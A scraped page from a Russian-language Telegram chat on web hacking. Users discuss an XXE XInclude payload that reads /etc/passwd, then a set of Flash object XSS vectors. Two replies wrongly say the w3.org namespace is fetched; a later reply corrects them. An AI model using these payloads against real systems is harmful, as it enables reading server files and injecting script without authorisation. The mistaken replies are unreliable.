Телеграмм чат группы WebPwnChat страница 2553

Вопрос по поводу XXE Xinclude, Чтобы осуществить эту атаку используется такая команда - <foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo> . Вопрос зачем тут нужен этот сайт www.w3.org?

чтобы взять от туда схему для инклюда

источник

14:58пожаловаться #4

ЭК

Элайджи Камски... in WebPwnChat

А, это типа такой сайт с всеми фичами XML, да?

источник

14:59пожаловаться #5

自

自閉症のポイント... in WebPwnChat

ага, типа стандартное место откуда все берется

источник

14:59пожаловаться #6

ЭК

Элайджи Камски... in WebPwnChat

Понял, спасибо, а то не понимал зачем это нужно. А так впринципе всё норм объяснили на сайте портов.

источник

15:00пожаловаться #7

m

medalahonor in WebPwnChat

Элайджи Камски

Вопрос по поводу XXE Xinclude, Чтобы осуществить эту атаку используется такая команда - <foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo> . Вопрос зачем тут нужен этот сайт www.w3.org?

Это просто название пространства имён, оттуда ничего не берётся.

источник

15:04пожаловаться #8

ШП

Шиштош Пецка... in WebPwnChat

<object allowscriptaccess="always">
 <param name="code" value="https://html5sec.org/test.swf">
</object>
<object allowscriptaccess="always">
 <param name="url" value="https://html5sec.org/test.swf">
</object>

источник

15:51пожаловаться #9

ШП

Шиштош Пецка... in WebPwnChat

у кого нибудь работают эти вектора?

источник

15:51пожаловаться #10

ШП

Шиштош Пецка... in WebPwnChat

у меня в хроме запрос летает

источник

15:52пожаловаться #11